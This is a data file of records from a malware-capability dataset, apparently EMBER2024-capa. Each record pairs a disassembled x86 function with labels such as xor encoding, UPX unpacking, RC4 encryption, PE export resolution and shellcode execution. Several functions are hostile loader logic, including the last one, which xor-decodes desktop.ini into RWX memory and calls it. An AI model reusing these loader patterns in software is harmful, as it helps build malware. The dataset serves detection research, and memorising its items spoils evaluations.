joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100037c0
Capabilities:
Encode data using xor

Disassembly:
sbb al, 0x3d
pushal
xchg byte [eax + 0x73], al
mov ah, 0xd4
pushfd
mov esi, dword [eax - 0x74251b01]
je 0x100037cb
invalid
cmc
mov al, 7
mov al, byte [0xcb8ca8fd]
sbb bh, byte [ecx + ebp*2 - 0x3665b563]
rcr al, cl
cmp esi, dword [ecx + 0x6e]
or esi, dword [edi - 0x39ec677f]
push es
pushfd
jnp 0x100037ef
push ss
sub esp, eax
aas
jg 0x1000382c
xchg edx, eax
pop ss
mov dh, bl
fidivr word [ecx - 0x2d92f5df]
fidivr word [ecx - 0x2d92f5df]
sbb edx, dword [ecx + 0x23]
fcom dword [edi - 0x7a]
push ebx
inc eax
xchg byte [ebx + 0x40], dl
lahf
enter 0xffffffffffffc0f4, 0x3e
cwde
xor ecx, dword [esi]
jp 0x10003768
pop edi
sbb byte [eax], ah
inc ecx
leave
stc
sti
xchg ecx, eax
inc edx
push ecx
pop edx
xchg ebp, eax
inc ebx
xor byte [ecx + edi*4 - 0x2c], dh
push eax
sub al, 0xb2
mov dl, 0x4f
xchg cl, cl
leave
loopne 0x100037e3
adc byte [ebx + 0x62], 0xe0
mov edi, 0xd7f589d3
mul byte [edx]
xchg edx, eax
mov eax, 0x39b7f9a1
dec edx
and al, ch
mov byte [0x653e840f], al
jae 0x10003799
sbb ecx, dword [edi]
pop esi
movsd dword es:[edi], dword [esi]
xor eax, 0x54840efe
cld
in al, 0xb3
xchg ebx, eax
insd dword es:[edi], dx
loopne 0x10003880
mov bx, 0x96e6
jb 0x10003864
sub cl, ch
pop ds
pop esi
mov byte [0x76bbeece], al
ljmp 0xdc0e
jbe 0x10003818
xor bh, byte [eax - 0x23f1a9b0]
into
std
add ebx, edi
in eax, 0x37
invalid
jecxz 0x1000380e
mov bl, 0x90
jmp 0x100037fe
cmpsd dword [esi], dword es:[edi]
xchg byte [edx], bl
sub esi, dword [edx]
jecxz 0x1000381c
add byte [eax - 0x7e], ch
cmp al, 0x12
lea ecx, ss:[ecx - 0x3d]
loop 0x100038ee
sub ch, byte [edi - 0x44be143c]
popfd
xchg ebp, eax
pop esi
invalid
stosb byte es:[edi], al
invalid
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x424e50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
jmp 0x424e6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x424e71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x424e60
mov eax, 1
add ebx, ebx
jne 0x424e83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x424e78
jne 0x424e94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x424e78
xor ecx, ecx
sub eax, 3
jb 0x424ea8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x424f1a
mov ebp, eax
add ebx, ebx
jne 0x424eb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x424ec0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x424ee4
inc ecx
add ebx, ebx
jne 0x424ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x424ec5
jne 0x424ee1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x424ec5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x424f04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x424ef5
jmp 0x424e66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x424f04
add edi, ecx
jmp 0x424e66
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x424f22
cmp byte [edi], 9
jne 0x424f22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x424f27
lea edi, [esi + 0x22000]
mov eax, dword [edi]
or eax, eax
je 0x424f9f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2ad74]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2ae54]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x424f54
mov ecx, edi
jns 0x424f83
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2ae5c]
or eax, eax
je 0x424f99
mov dword [ebx], eax
add ebx, 4
jmp 0x424f71
call dword [esi + 0x2ae58]
mov ebp, dword [esi + 0x2ae60]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x424fd3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x41f993
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41f9d2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f9d2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f9d2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41f9d2
cmp dword [ecx + 0x74], 0xe
jbe 0x41f9d2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x432150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43217d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43217d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x102845f4
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x1029b900], 0
mov byte [0x1029b904], 0
mov dword [0x1029b8f8], 0x33f9
mov dword [0x1029b8f4], 0x9a0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x1029b8fc], 0
mov dword [ebp - 0x1c], eax
jmp 0x1028472e
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1029b908], 0
mov dword [0x1029b8f4], 0x2391
mov edx, dword [0x1029b900]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x1029b908], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x1029b900], edx
mov dword [0x1029b8f4], 0x1197
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x1029b904], cl
mov dword [0x1029b8f4], 0xd5c
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x1029b904]
mov edx, dword [0x1029b900]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x1029b8f4], 0xcb9
mov edx, dword [0x1029b8fc]
add edx, 1
mov dword [0x1029b8fc], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10284650
jmp 0x10284648
xor eax, eax
mov dword [0x1029b8f8], 0x1f91
mov dword [0x1029b8fc], 0
mov dword [ebp - 0x20], eax
jmp 0x10284650
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1029b8fc]
add eax, 1
mov dword [0x1029b8fc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1028472e
jmp 0x10284710
Function at 0x10284b17
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [0x1029b8f8], 0x1825
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x1029b8f4], 0x262b
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10284c13
mov eax, dword [ebp - 0x14]
mov dword [0x1029b8f4], 0xca2
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
jne 0x10284c9e
mov dword [0x1029b8f4], 0xffffe703
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x10284c53
jmp 0x10284c9e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov dword [0x1029b8f4], ecx
add esp, 0x28
pop ebp
ret
mov dword [0x1029b8f4], 0xb28
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
sete dl
mov byte [ebp - 0x21], dl
mov al, byte [ebp - 0x21]
test al, 1
jne 0x10284c81
jmp 0x10284c9e
mov dword [0x1029b8f4], 0x166f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
mov dx, word [eax + ecx*2 - 0xe]
mov word [ebp - 0x24], dx
mov eax, 0x1438
mov ecx, 1
mov dx, word [ebp - 0x24]
cmp dx, 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
je 0x10284b9c
jmp 0x10284c9e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], edx
je 0x10284b5a
mov dword [0x1029b8f8], 0x2454
mov eax, dword [ebp - 0x28]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jl 0x10284c13
jmp 0x10284b5a
mov dword [0x1029b8f4], 0xffffde32
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x10284c9e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x10284bad
jmp 0x10284c9e
mov dword [0x1029b8f4], 0x35
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x10284bda
mov eax, 0x1f59
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
jmp 0x10284b9c
Function at 0x10284e5d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.10284170
xor ecx, ecx
mov edx, eax
mov dword [0x1029b8f8], 0x11a4
mov esi, dword [eax + 0x3c]
mov dword [0x1029b8f4], 0x828
mov esi, dword [eax + esi + 0x78]
mov dword [0x1029b8f8], 0x1376
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x1029b8f4], 0x4d3
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x10284fa7
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x10284f45
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x42]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x3c], eax
jne 0x10284ef4
mov al, byte [ebp - 0x42]
test al, 1
jne 0x10284f78
jmp 0x10284f4e
xor eax, eax
mov ecx, dword [ebp - 0x30]
add ecx, 2
mov edx, dword [ebp - 0x34]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], eax
jb 0x10284eda
jmp 0x10284fa7
mov eax, dword [ebp - 0x30]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x1029b8f8], 0x14e4
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [0x1029b8f4], 0x674
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10285072
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, dword [0x1029b8f8]
mov dword [0x1029b8fc], 0
mov dword [0x1029b900], 0
mov dword [0x1029b90c], 0
mov dword [ebp - 0x10], eax
mov eax, ebx
add eax, 0xfffff40b
mov dword [0x1029b8f4], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, edi
mov dword [ebp - 0x1c], eax
mov eax, edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x10285206
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
mov edi, 0x100
add ecx, 1
mov dword [ebp - 0x38], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x1029b8fc], edx
mov ecx, dword [ebp - 0x2c]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x3c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x40], edx
cdq
idiv edi
mov dword [0x1029b900], edx
mov ecx, esi
add ecx, 0xffffff04
mov dword [0x1029b8f8], ecx
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x40]
mov cl, byte [ecx + edi]
mov byte [0x1029b904], cl
add esi, 0xffffe8d2
mov dword [0x1029b8f4], esi
mov esi, dword [ebp - 0x2c]
mov cl, byte [esi + edx]
mov byte [esi + edi], cl
mov cl, byte [0x1029b904]
mov edx, dword [0x1029b900]
mov byte [esi + edx], cl
mov dword [0x1029b8f4], 0xfea
mov edx, dword [0x1029b8fc]
movzx edx, byte [esi + edx]
mov ebx, dword [0x1029b900]
movzx ebx, byte [esi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x1029b90c], ebx
mov cl, byte [esi + ebx]
mov edx, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x38]
mov ch, byte [edx + ebx]
mov dword [0x1029b8f8], 0xd1
xor ch, cl
mov byte [0x1029b910], ch
mov dword [0x1029b8f4], 0x538
mov edx, dword [ebp - 0x28]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x44], ebx
je 0x102851fe
mov eax, dword [0x1029b8fc]
mov ecx, dword [0x1029b900]
mov edx, dword [0x1029b8f4]
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], esi
jmp 0x102850ec
mov eax, dword [0x1029b8f8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
add eax, 0xffffefe2
mov dword [0x1029b8f4], eax
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1028521b
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x1029b8f8], 0xa89
mov edx, dword [0x1029b8f4]
add edx, 0xbf9
mov dword [0x1029b8f4], edx
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.1028476b
lea ecx, [0x10285484]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x78], edx
mov dword [esp + 0x50], 0x143400
mov edx, dword [0x1029b8e0]
mov dword [esp + 0x60], edx
mov edx, dword [0x1029b8e4]
mov dword [esp + 0x40], edx
mov edx, dword [0x1029b8e8]
mov dword [esp + 0x64], edx
mov edx, dword [0x1029b8ec]
mov dword [esp + 0x48], edx
mov edx, dword [0x1029b8f0]
mov dword [esp + 0x7c], edx
mov dword [0x1029b8f8], 0x2bd
mov dword [0x1029b8f4], 0xfffff059
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x102852e1
mov eax, dword [esp + 0x18]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [0x1029b8f8], 0xfde
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
jne 0x102852c5
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
sete dl
mov dword [esp + 0x10], ecx
mov byte [esp + 0xf], dl
mov al, byte [esp + 0xf]
test al, 1
jne 0x10285313
jmp 0x102852c5
mov eax, dword [esp + 0x14]
mov dword [esp + 0x80], eax
mov dword [0x1029b8f4], 0x828
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x8c], edx
mov dword [0x1029b8f8], 0x1419
call fcn.10284b17
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
jne 0x102852bd
lea eax, [esp + 0x38]
mov dword [0x1029b8f4], 0xa5a
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.102854e4
mov dword [0x1029b8f4], 0x1f96
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x1029b8f8], 0x2262
mov dword [esp + 0x18], eax
jmp 0x102852bd
Function at 0x102854e4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x10286221]
mov esi, 0xe
lea edi, [ebp - 0x2c]
mov ebx, dword [0x1029b8f4]
add ebx, 0xfffff1bd
mov dword [0x1029b8f4], ebx
mov dword [0x1029b8f8], 0x1ac5
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], esi
call fcn.102853a4
call fcn.102857b5
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.10284303
xor ecx, ecx
mov edx, dword [0x1029b8f8]
add edx, 0xffffe3d9
mov dword [0x1029b8f4], edx
cmp eax, 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
je 0x10285640
jmp 0x10285592
mov eax, dword [ebp - 0x48]
add eax, 0x1857
mov dword [0x1029b8f4], 0xffffedf9
mov dword [ebp - 0x44], eax
jmp 0x10285640
mov dword [0x1029b8f8], 0x1f5
mov eax, dword [ebp - 0x40]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x1029b8f8]
add ecx, 0x121d
mov dword [0x1029b8f4], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x30]
mov dword [esp + 4], ecx
mov dword [ebp - 0x48], eax
call fcn.102844f2
mov eax, dword [ebp - 0x48]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xd0
mov dword [eax + 0xd0], 0x4550
add eax, 0xffc00000
mov ecx, dword [ebp - 0x34]
mov dword [ecx + 0x50], eax
mov dword [0x1029b8f4], 0xb6b
mov eax, dword [ebp - 0x48]
mov dword [ecx + 0xc], eax
mov dword [0x1029b8f8], 0x1691
cmp eax, 0
sete dl
mov byte [ebp - 0x49], dl
xor eax, eax
mov cl, byte [ebp - 0x49]
test cl, 1
mov dword [ebp - 0x44], eax
jne 0x10285640
jmp 0x10285578
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4265a5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041f38f
and dword [ebp - 4], 0
cmp dword [0x4513b8], 0
mov ebx, eax
jne 0x426656
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x426707
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x426707
push eax
call fcn.0041f31d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4513b8], eax
call esi
push eax
call fcn.0041f31d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4513bc], eax
call esi
push eax
call fcn.0041f31d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4513c0], eax
call esi
push eax
call fcn.0041f31d
pop ecx
mov dword [0x4513c8], eax
test eax, eax
je 0x426656
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041f31d
pop ecx
mov dword [0x4513c4], eax
mov eax, dword [0x4513c4]
cmp eax, ebx
je 0x4266ae
cmp dword [0x4513c8], ebx
je 0x4266ae
push eax
call fcn.0041f398
push dword [0x4513c8]
mov esi, eax
call fcn.0041f398
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4266ae
test edi, edi
je 0x4266ae
call esi
test eax, eax
je 0x4266a5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4266a5
test byte [ebp - 0xc], 1
jne 0x4266ae
or dword [ebp + 0x10], 0x200000
jmp 0x4266e7
mov eax, dword [0x4513bc]
cmp eax, ebx
je 0x4266e7
push eax
call fcn.0041f398
pop ecx
test eax, eax
je 0x4266e7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4266e7
mov eax, dword [0x4513c0]
cmp eax, ebx
je 0x4266e7
push eax
call fcn.0041f398
pop ecx
test eax, eax
je 0x4266e7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4513b8]
call fcn.0041f398
pop ecx
test eax, eax
je 0x426707
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x426709
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10